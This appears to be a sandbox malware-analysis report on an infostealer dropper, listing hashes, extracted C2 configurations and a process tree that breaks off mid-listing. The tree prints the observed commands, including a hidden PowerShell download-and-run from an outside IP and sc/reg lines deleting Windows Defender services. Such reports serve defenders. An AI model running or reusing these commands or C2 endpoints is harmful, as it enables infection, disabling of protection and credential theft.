Overview

overview

10

Static

static

5

2025-04-02...er.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    88s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250314-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system
  • submitted
    02/04/2025, 21:43

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    2025-04-02_89a24ecea34ed46ce88314efb2f8ee43_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe

  • Size

    938KB

  • MD5

    89a24ecea34ed46ce88314efb2f8ee43

  • SHA1

    b8fe9f3e6aa47d5ee7cc79ea798a4f865b9770d7

  • SHA256

    afb4304250e5d789740a12c28b4dc3683f525bd43417bb338b78202af39b5044

  • SHA512

    2005a0115802e4dda6d2bd6f841782e2c83d910c4f1e4c7cd291aa747a3394dd929f09c1f98fd547b1cc0604a77986d3b50941f82719b827560f122853ee7310

  • SSDEEP

    24576:VqDEvCTbMWu7rQYlBQcBiT6rprG8a0Xu:VTvC/MTQYxsWR7a0X

Score
10/10
amadeyasyncrathealerlummaquasarstormkittyvidar092155928af183c2a2807a3c0526e8c0c9369doffice04credential_accessdefense_evasiondiscoverydropperexecutionexploitpersistenceratspywarestealertrojan

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Family

amadey

Version

5.21

Botnet

092155

C2

http://176.113.115.6

Attributes
  • install_dir

    bb556cff4a

  • install_file

    rapes.exe

  • strings_key

    a131b127e996a898cd19ffb2d92e481b

  • url_paths

    /Ni9kiput/index.php

rc4.plain

Extracted

Family

lumma

C2

https://ironloxp.live/aksdd

https://metalsyo.digital/opsa

https://navstarx.shop/FoaJSi

https://starcloc.bet/GOksAo

https://advennture.top/GKsiio

https://targett.top/dsANGt

https://gspacedbv.world/EKdlsk

https://1galxnetb.today/GsuIAo

https://3starcloc.bet/GOksAo

https://spacedbv.world/EKdlsk

https://galxnetb.today/GsuIAo

https://cosmosyf.top/GOsznj

https://rlxspoty.run/nogoaz

https://jrxsafer.top/shpaoz

https://krxspint.digital/kendwz

https://rhxhube.run/pogrs

https://grxeasyw.digital/xxepw

https://xrfxcaseq.live/gspaz

https://ywmedici.top/noagis

Extracted

Family

vidar

Version

13.3

Botnet

928af183c2a2807a3c0526e8c0c9369d

C2

https://t.me/lw25chm

https://steamcommunity.com/profiles/76561199839170361
Attributes
  • user_agent

    Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/132.0.0.0 Safari/537.36 OPR/117.0.0.0

Extracted

Family

quasar

Version

1.5.0

Botnet

Office04

C2

goku92ad.zapto.org:5000

Mutex

a0766e5c-a1d1-4766-a1f5-4e4f9f9fe35a

Attributes
  • encryption_key

    BF72099FDBC6B48816529089CF1CF2CF86357D14

  • install_name

    Client.exe

  • log_directory

    Logs

  • reconnect_delay

    3000

  • startup_key

    Quasar Modded Client Startup

  • subdirectory

    SubDir

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    trojanamadey
  • Amadey family
    amadey
  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

    ratasyncrat
  • Asyncrat family
    asyncrat
  • Detect Vidar Stealer 30 IoCs
    stealer
  • Detects Healer an antivirus disabler dropper 3 IoCs
  • Healer

    Healer an antivirus disabler dropper.

    dropperhealer
  • Healer family
    healer
  • Lumma Stealer, LummaC

    Lumma or LummaC is an infostealer written in C++ first seen in August 2022.

    stealerlumma
  • Lumma family
    lumma
  • Modifies security service 2 TTPs 2 IoCs
    defense_evasion
  • Quasar RAT

    Quasar is an open source Remote Access Tool.

    trojanspywarequasar
  • Quasar family
    quasar
  • Quasar payload 2 IoCs
  • StormKitty

    StormKitty is an open source info stealer written in C#.

    stealerstormkitty
  • StormKitty payload 2 IoCs
  • Stormkitty family
    stormkitty
  • Vidar

    Vidar is an infostealer based on Arkei stealer.

    stealervidar
  • Vidar family
    vidar
  • Async RAT payload 1 IoCs
    rat
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 4 IoCs
    defense_evasion
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 12 IoCs

    Run Powershell and hide display window.

    execution
  • Creates new service(s) 2 TTPs
    persistenceexecution
  • Downloads MZ/PE file 15 IoCs
  • Possible privilege escalation attempt 2 IoCs
    exploit
  • Stops running service(s) 4 TTPs
    defense_evasionexecution
  • Uses browser remote debugging 2 TTPs 8 IoCs

    Can be used control the browser and steal sensitive information such as credentials and session cookies.

    credential_accessstealer
  • Checks BIOS information in registry 2 TTPs 8 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 9 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 23 IoCs
  • Identifies Wine through registry keys 2 TTPs 4 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    defense_evasion
  • Modifies file permissions 1 TTPs 2 IoCs
    discovery
  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

    credential_accessstealer
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • AutoIT Executable 1 IoCs

    AutoIT scripts compiled to PE executables.

  • Enumerates processes with tasklist 1 TTPs 2 IoCs
    discovery
  • Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs
  • Suspicious use of SetThreadContext 6 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 15 IoCs
  • Launches sc.exe 38 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 4 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 24 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks processor information in registry 2 TTPs 4 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 2 IoCs
    defense_evasion
  • Enumerates system info in registry 2 TTPs 6 IoCs
  • Kills process with taskkill 5 IoCs
    defense_evasion
  • Modifies data under HKEY_USERS 2 IoCs
  • Modifies registry class 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 24 IoCs
  • Suspicious use of FindShellTrayWindow 31 IoCs
  • Suspicious use of SendNotifyMessage 3 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\2025-04-02_89a24ecea34ed46ce88314efb2f8ee43_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
    "C:\Users\Admin\AppData\Local\Temp\2025-04-02_89a24ecea34ed46ce88314efb2f8ee43_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:5400
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn vo6ehmaw4Ys /tr "mshta C:\Users\Admin\AppData\Local\Temp\B7eSQyiqk.hta" /sc minute /mo 25 /ru "Admin" /f
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4160
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /create /tn vo6ehmaw4Ys /tr "mshta C:\Users\Admin\AppData\Local\Temp\B7eSQyiqk.hta" /sc minute /mo 25 /ru "Admin" /f
        3⤵
        • System Location Discovery: System Language Discovery
        • Scheduled Task/Job: Scheduled Task
        PID:3128
    • C:\Windows\SysWOW64\mshta.exe
      mshta C:\Users\Admin\AppData\Local\Temp\B7eSQyiqk.hta
      2⤵
      • Checks computer location settings
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3152
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'SROF2NXHVYGVWR3HKUQMTG3ZDD2NCBM6.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Downloads MZ/PE file
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:5320
        • C:\Users\Admin\AppData\Local\TempSROF2NXHVYGVWR3HKUQMTG3ZDD2NCBM6.EXE
          "C:\Users\Admin\AppData\Local\TempSROF2NXHVYGVWR3HKUQMTG3ZDD2NCBM6.EXE"
          4⤵
          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
          • Checks BIOS information in registry
          • Checks computer location settings
          • Executes dropped EXE
          • Identifies Wine through registry keys
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:4724
          • C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
            "C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"
            5⤵
            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
            • Downloads MZ/PE file
            • Checks BIOS information in registry
            • Checks computer location settings
            • Executes dropped EXE
            • Identifies Wine through registry keys
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • System Location Discovery: System Language Discovery
            • Modifies registry class
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:2180
            • C:\Users\Admin\AppData\Local\Temp\10420350101\dojG16n.exe
              "C:\Users\Admin\AppData\Local\Temp\10420350101\dojG16n.exe"
              6⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • Suspicious use of WriteProcessMemory
              PID:948
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                7⤵
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                PID:1440
            • C:\Users\Admin\AppData\Local\Temp\10420370101\ql1QeBe.exe
              "C:\Users\Admin\AppData\Local\Temp\10420370101\ql1QeBe.exe"
              6⤵
              • Executes dropped EXE
              • Drops file in Program Files directory
              • Suspicious use of WriteProcessMemory
              PID:4172
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell.exe -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Program Files (x86)'"
                7⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:2996
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell.exe -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\00000029.exe'"
                7⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:5364
              • C:\Program Files (x86)\00000029.exe
                "C:\Program Files (x86)\00000029.exe"
                7⤵
                • Executes dropped EXE
                • Suspicious use of AdjustPrivilegeToken
                PID:2496
            • C:\Users\Admin\AppData\Local\Temp\10420670101\apple.exe
              "C:\Users\Admin\AppData\Local\Temp\10420670101\apple.exe"
              6⤵
              • Checks computer location settings
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:2152
              • C:\Users\Admin\AppData\Local\Temp\261.exe
                "C:\Users\Admin\AppData\Local\Temp\261.exe"
                7⤵
                • Checks computer location settings
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                • Suspicious use of WriteProcessMemory
                PID:6076
                • C:\Windows\system32\cmd.exe
                  "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\C311.tmp\C312.tmp\C323.bat C:\Users\Admin\AppData\Local\Temp\261.exe"
                  8⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2176
                  • C:\Users\Admin\AppData\Local\Temp\261.exe
                    "C:\Users\Admin\AppData\Local\Temp\261.exe" go
                    9⤵
                    • Checks computer location settings
                    • Executes dropped EXE
                    • System Location Discovery: System Language Discovery
                    • Suspicious use of WriteProcessMemory
                    PID:1060
                    • C:\Windows\system32\cmd.exe
                      "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\C459.tmp\C45A.tmp\C45B.bat C:\Users\Admin\AppData\Local\Temp\261.exe go"
                      10⤵
                      • Drops file in Program Files directory
                      • Suspicious use of WriteProcessMemory
                      PID:532
                      • C:\Windows\system32\sc.exe
                        sc create ddrver type= kernel binPath= "C:\Users\Admin\AppData\Local\Temp\ssisd.sys"
                        11⤵
                        • Launches sc.exe
                        PID:4064
                      • C:\Windows\system32\sc.exe
                        sc start ddrver
                        11⤵
                        • Launches sc.exe
                        PID:5280
                      • C:\Windows\system32\timeout.exe
                        timeout /t 1
                        11⤵
                        • Delays execution with timeout.exe
                        PID:4268
                      • C:\Windows\system32\sc.exe
                        sc stop ddrver
                        11⤵
                        • Launches sc.exe
                        PID:1532
                      • C:\Windows\system32\sc.exe
                        sc start ddrver
                        11⤵
                        • Launches sc.exe
                        PID:2300
                      • C:\Windows\system32\takeown.exe
                        takeown /f "C:\ProgramData\Microsoft\Windows Defender" /r /d y
                        11⤵
                        • Possible privilege escalation attempt
                        • Modifies file permissions
                        PID:1920
                      • C:\Windows\system32\icacls.exe
                        icacls "C:\ProgramData\Microsoft\Windows Defender" /grant administrators:F /t
                        11⤵
                        • Possible privilege escalation attempt
                        • Modifies file permissions
                        PID:2324
                      • C:\Windows\system32\sc.exe
                        sc stop "WinDefend"
                        11⤵
                        • Launches sc.exe
                        PID:924
                      • C:\Windows\system32\sc.exe
                        sc delete "WinDefend"
                        11⤵
                        • Launches sc.exe
                        PID:5972
                      • C:\Windows\system32\reg.exe
                        reg delete "HKLM\System\CurrentControlset\Services\WinDefend" /f
                        11⤵
                          PID:5084
                        • C:\Windows\system32\sc.exe
                          sc stop "MDCoreSvc"
                          11⤵
                          • Launches sc.exe
                          PID:2912
                        • C:\Windows\system32\sc.exe
                          sc delete "MDCoreSvc"
                          11⤵
                          • Launches sc.exe
                          PID:1616
                        • C:\Windows\system32\reg.exe
                          reg delete "HKLM\System\CurrentControlset\Services\MDCoreSvc" /f
                          11⤵
                            PID:1628
                          • C:\Windows\system32\sc.exe
                            sc stop "WdNisSvc"
                            11⤵
                            • Launches sc.exe
                            PID:220
                          • C:\Windows\system32\sc.exe
                            sc delete "WdNisSvc"
                            11⤵
                            • Launches sc.exe
                            PID:3152
                          • C:\Windows\system32\reg.exe
                            reg delete "HKLM\System\CurrentControlset\Services\WdNisSvc" /f
                            11⤵
                              PID:5920
                            • C:\Windows\system32\sc.exe
                              sc stop "Sense"
                              11⤵
                              • Launches sc.exe
                              PID:5240
                            • C:\Windows\system32\sc.exe
                              sc delete "Sense"
                              11⤵
                              • Launches sc.exe
                              PID:2536
                            • C:\Windows\system32\reg.exe
                              reg delete "HKLM\System\CurrentControlset\Services\Sense" /f
                              11⤵
                                PID:2184
                              • C:\Windows\system32\sc.exe
                                sc stop "wscsvc"
                                11⤵
                                • Launches sc.exe
                                PID:2612
                              • C:\Windows\system32\sc.exe
                                sc delete "wscsvc"
                                11⤵
                                • Launches sc.exe
                                PID:5572
                              • C:\Windows\system32\reg.exe
                                reg delete "HKLM\System\CurrentControlset\Services\wscsvc" /f
                                11⤵
                                • Modifies security service
                                PID:1676
                              • C:\Windows\system32\sc.exe
                                sc stop "SgrmBroker"
                                11⤵
                                • Launches sc.exe
                                PID:3612
                              • C:\Windows\system32\sc.exe
                                sc delete "SgrmBroker"
                                11⤵
                                • Launches sc.exe
                                PID:4276
                              • C:\Windows\system32\reg.exe
                                reg delete "HKLM\System\CurrentControlset\Services\SgrmBroker" /f
                                11⤵
                                  PID:3052
                                • C:\Windows\system32\sc.exe
                                  sc stop "SecurityHealthService"
                                  11⤵
                                  • Launches sc.exe
                                  PID:4328
                                • C:\Windows\system32\sc.exe
                                  sc delete "SecurityHealthService"
                                  11⤵
                                  • Launches sc.exe
                                  PID:3604
                                • C:\Windows\system32\reg.exe
                                  reg delete "HKLM\System\CurrentControlset\Services\SecurityHealthService" /f
                                  11⤵
                                    PID:4412
                                  • C:\Windows\system32\sc.exe
                                    sc stop "webthreatdefsvc"
                                    11⤵
                                    • Launches sc.exe
                                    PID:4520
                                  • C:\Windows\system32\sc.exe
                                    sc delete "webthreatdefsvc"
                                    11⤵
                                    • Launches sc.exe
                                    PID:4756
                                  • C:\Windows\system32\reg.exe
                                    reg delete "HKLM\System\CurrentControlset\Services\webthreatdefsvc" /f
                                    11⤵
                                      PID:4684
                                    • C:\Windows\system32\sc.exe
                                      sc stop "webthreatdefusersvc"
                                      11⤵
                                      • Launches sc.exe
                                      PID:4516
                                    • C:\Windows\system32\sc.exe
                                      sc delete "webthreatdefusersvc"
                                      11⤵
                                      • Launches sc.exe
                                      PID:4736
                                    • C:\Windows\system32\reg.exe
                                      reg delete "HKLM\System\CurrentControlset\Services\webthreatdefusersvc" /f
                                      11⤵
                                        PID:4364
                                      • C:\Windows\system32\sc.exe
                                        sc stop "WdNisDrv"
                                        11⤵
                                        • Launches sc.exe
                                        PID:3188
                                      • C:\Windows\system32\sc.exe
                                        sc delete "WdNisDrv"
                                        11⤵
                                        • Launches sc.exe
                                        PID:5844
                                      • C:\Windows\system32\reg.exe
                                        reg delete "HKLM\System\CurrentControlset\Services\WdNisDrv" /f
                                        11⤵
                                          PID:5092
                                        • C:\Windows\system32\sc.exe
                                          sc stop "WdBoot"
                                          11⤵
                                          • Launches sc.exe
                                          PID:376
                                        • C:\Windows\system32\sc.exe
                                          sc delete "WdBoot"
                                          11⤵
                                          • Launches sc.exe
                                          PID:1496
                                        • C:\Windows\system32\reg.exe
                                          reg delete "HKLM\System\CurrentControlset\Services\WdBoot" /f
                                          11⤵
                                            PID:5248
                                          • C:\Windows\system32\sc.exe
                                            sc stop "WdFilter"
                                            11⤵
                                            • Launches sc.exe
                                            PID:4504
                                          • C:\Windows\system32\sc.exe
                                            sc delete "WdFilter"
                                            11⤵
                                            • Launches sc.exe
                                            PID:4688
                                          • C:\Windows\system32\reg.exe
                                            reg delete "HKLM\System\CurrentControlset\Services\WdFilter" /f
                                            11⤵
                                              PID:5304
                                            • C:\Windows\system32\sc.exe
                                              sc stop "SgrmAgent"
                                              11⤵
                                              • Launches sc.exe
                                              PID:5876
                                            • C:\Windows\system32\sc.exe
                                              sc delete "SgrmAgent"
                                              11⤵
                                              • Launches sc.exe
                                              PID:1560
                                            • C:\Windows\system32\reg.exe
                                              reg delete "HKLM\System\CurrentControlset\Services\SgrmAgent" /f
                                              11⤵
                                                PID:2236
                                              • C:\Windows\system32\sc.exe
                                                sc stop "MsSecWfp"
                                                11⤵
                                                • Launches sc.exe
                                                PID:4784
                                              • C:\Windows\system32\sc.exe
                                                sc delete "MsSecWfp"
                                                11⤵
                                                • Launches sc.exe
                                                PID:1028
                                              • C:\Windows\system32\reg.exe
                                                reg delete "HKLM\System\CurrentControlset\Services\MsSecWfp" /f
                                                11⤵
                                                  PID:5864
                                                • C:\Windows\system32\sc.exe
                                                  sc stop "MsSecFlt"
                                                  11⤵
                                                  • Launches sc.exe
                                                  PID:5348
                                                • C:\Windows\system32\sc.exe
                                                  sc delete "MsSecFlt"
                                                  11⤵
                                                  • Launches sc.exe
                                                  PID:5608
                                                • C:\Windows\system32\reg.exe
                                                  reg delete "HKLM\System\CurrentControlset\Services\MsSecFlt" /f
                                                  11⤵
                                                    PID:4468
                                                  • C:\Windows\system32\sc.exe
                                                    sc stop "MsSecCore"
                                                    11⤵
                                                    • Launches sc.exe
                                                    PID:4608
                                                  • C:\Windows\system32\sc.exe
                                                    sc delete "MsSecCore"
                                                    11⤵
                                                    • Launches sc.exe
                                                    PID:4628
                                                  • C:\Windows\system32\reg.exe
                                                    reg delete "HKLM\System\CurrentControlset\Services\MsSecCore" /f
                                                    11⤵
                                                      PID:4760
                                                    • C:\Windows\system32\schtasks.exe
                                                      schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /f
                                                      11⤵
                                                        PID:5460
                                                      • C:\Windows\system32\schtasks.exe
                                                        schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /f
                                                        11⤵
                                                          PID:4972
                                                        • C:\Windows\system32\schtasks.exe
                                                          schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /f
                                                          11⤵
                                                            PID:2652
                                                          • C:\Windows\system32\schtasks.exe
                                                            schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /f
                                                            11⤵
                                                              PID:1492
                                                            • C:\Windows\system32\sc.exe
                                                              sc stop ddrver
                                                              11⤵
                                                              • Launches sc.exe
                                                              PID:1624
                                                            • C:\Windows\system32\sc.exe
                                                              sc delete ddrver
                                                              11⤵
                                                              • Launches sc.exe
                                                              PID:5924
                                                  • C:\Users\Admin\AppData\Local\Temp\10421080101\PJ7KEk9.exe
                                                    "C:\Users\Admin\AppData\Local\Temp\10421080101\PJ7KEk9.exe"
                                                    6⤵
                                                    • Executes dropped EXE
                                                    • Suspicious use of SetThreadContext
                                                    PID:112
                                                    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                                      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                                                      7⤵
                                                      • System Location Discovery: System Language Discovery
                                                      • Suspicious behavior: EnumeratesProcesses
                                                      PID:3388
                                                  • C:\Users\Admin\AppData\Local\Temp\10422560101\amnew.exe
                                                    "C:\Users\Admin\AppData\Local\Temp\10422560101\amnew.exe"
                                                    6⤵
                                                    • Checks computer location settings
                                                    • Executes dropped EXE
                                                    • Drops file in Windows directory
                                                    • System Location Discovery: System Language Discovery
                                                    • Suspicious use of FindShellTrayWindow
                                                    PID:3012
                                                    • C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe
                                                      "C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe"
                                                      7⤵
                                                      • Downloads MZ/PE file
                                                      • Checks computer location settings
                                                      • Executes dropped EXE
                                                      • System Location Discovery: System Language Discovery
                                                      PID:2404
                                                      • C:\Users\Admin\AppData\Local\Temp\10026630101\v7942.exe
                                                        "C:\Users\Admin\AppData\Local\Temp\10026630101\v7942.exe"
                                                        8⤵
                                                        • Executes dropped EXE
                                                        • Suspicious use of SetThreadContext
                                                        PID:1736
                                                        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                                          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                                                          9⤵
                                                            PID:3820
                                                          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                                            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                                                            9⤵
                                                              PID:6068
                                                            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                                              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                                                              9⤵
                                                                PID:1428
                                                              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                                                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                                                                9⤵
                                                                • Downloads MZ/PE file
                                                                • System Location Discovery: System Language Discovery
                                                                • Checks processor information in registry
                                                                • Suspicious behavior: EnumeratesProcesses
                                                                PID:2412
                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
                                                                  10⤵
                                                                  • Uses browser remote debugging
                                                                  • Checks processor information in registry
                                                                  • Enumerates system info in registry
                                                                  • Modifies data under HKEY_USERS
                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                  • Suspicious use of FindShellTrayWindow
                                                                  PID:1628
                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7fff4d1fdcf8,0x7fff4d1fdd04,0x7fff4d1fdd10
                                                                    11⤵
                                                                      PID:220
                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --field-trial-handle=1560,i,13559596931761033570,13795059493187618874,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=2132 /prefetch:3
                                                                      11⤵
                                                                        PID:916
                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=2096,i,13559596931761033570,13795059493187618874,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=2092 /prefetch:2
                                                                        11⤵
                                                                          PID:4480
                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --field-trial-handle=1700,i,13559596931761033570,13795059493187618874,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=2508 /prefetch:8
                                                                          11⤵
                                                                            PID:4728
                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3200,i,13559596931761033570,13795059493187618874,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=3212 /prefetch:1
                                                                            11⤵
                                                                            • Uses browser remote debugging
                                                                            PID:3916
                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3220,i,13559596931761033570,13795059493187618874,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=3248 /prefetch:1
                                                                            11⤵
                                                                            • Uses browser remote debugging
                                                                            PID:3004
                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --extension-process --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4288,i,13559596931761033570,13795059493187618874,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=4304 /prefetch:2
                                                                            11⤵
                                                                            • Uses browser remote debugging
                                                                            PID:2664
                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=4656,i,13559596931761033570,13795059493187618874,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=4712 /prefetch:1
                                                                            11⤵
                                                                            • Uses browser remote debugging
                                                                            PID:1492
                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
